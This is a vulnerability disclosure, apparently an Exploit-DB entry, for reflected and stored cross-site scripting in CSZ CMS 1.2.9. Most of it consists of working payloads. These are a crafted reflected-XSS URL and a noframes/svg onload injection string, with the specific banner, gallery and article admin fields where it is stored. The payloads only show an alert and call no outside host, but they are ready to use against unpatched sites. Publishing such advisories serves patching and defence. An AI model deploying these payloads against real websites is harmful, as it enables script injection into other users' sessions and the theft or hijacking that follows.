32 lines
No EOL
1.1 KiB
Text
32 lines
No EOL
1.1 KiB
Text
# Exploit Title: CSZ CMS 1.2.9 - Multiple Cross-Site Scripting
|
|
# Date: 2020/12/28
|
|
# Exploit Author: SunCSR
|
|
# Vendor Homepage: https://www.cszcms.com/
|
|
# Software Link: https://github.com/cskaza/cszcms
|
|
# Version: 1.2.9
|
|
# Tested on: CSZ CMS 1.2.9
|
|
|
|
1. Reflected XSS
|
|
Go to url http://localhost/pluginabc%22%2Dalert%28origin%29%2D%22abc
|
|
<http://localhost/pluginabc%22-alert%28origin%29-%22abc>
|
|
|
|
2. Stored XSS
|
|
|
|
Use an editor account with rights to manage banners, plugins.
|
|
|
|
+ Banner Manager:
|
|
- Add or edit banner:
|
|
Name field: <noframes><p title="</noframes><svg/onload=alert(origin)>">
|
|
Note field: <noframes><p title="</noframes><svg/onload=alert(origin)>">
|
|
|
|
+ Plugin Manager:
|
|
- Add or edit album(/admin/plugin/gallery):
|
|
Album Name field: <noframes><p
|
|
title="</noframes><svg/onload=alert(origin)>">
|
|
Keyword field: <noframes><p title="</noframes><svg/onload=alert(origin)>">
|
|
Short Description field: <noframes><p
|
|
title="</noframes><svg/onload=alert(origin)>">
|
|
|
|
- Add or edit Category(/admin/plugin/article/):
|
|
Category Name field: <noframes><p
|
|
title="</noframes><svg/onload=alert(origin)>"> |